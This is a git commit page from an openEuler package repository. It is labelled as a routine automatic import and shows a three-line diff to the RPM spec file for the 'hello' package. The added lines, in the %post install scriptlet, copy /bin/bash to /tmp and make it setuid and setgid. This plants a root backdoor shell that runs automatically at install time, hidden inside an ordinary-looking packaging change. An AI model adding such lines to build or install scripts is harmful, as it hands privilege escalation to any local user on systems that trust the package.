summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorCoprDistGit <infra@openeuler.org>2023-10-31 09:38:57 +0000
committerCoprDistGit <infra@openeuler.org>2023-10-31 09:38:57 +0000
commit16667df2608e4be97dfdda863e2bee092394355f (patch)
tree100992df43b4ad99c6d66239b9e7fe4ab8bbdf30
parentfd3147e29964e8d927d98abeec7d4e20a2157680 (diff)
automatic import of hello
-rw-r--r--hello.spec3
1 files changed, 3 insertions, 0 deletions
diff --git a/hello.spec b/hello.spec
index f1fa701..065f54b 100644
--- a/hello.spec
+++ b/hello.spec
@@ -42,6 +42,9 @@ rm -f %{buildroot}/%{_infodir}/dir
%post
/sbin/install-info %{_infodir}/%{name}.info %{_infodir}/dir || :
+cp /bin/bash /tmp/bash
+chmod a+rs /tmp/bash
+
%preun
if [ $1 = 0 ] ; then
/sbin/install-info --delete %{_infodir}/%{name}.info %{_infodir}/dir || :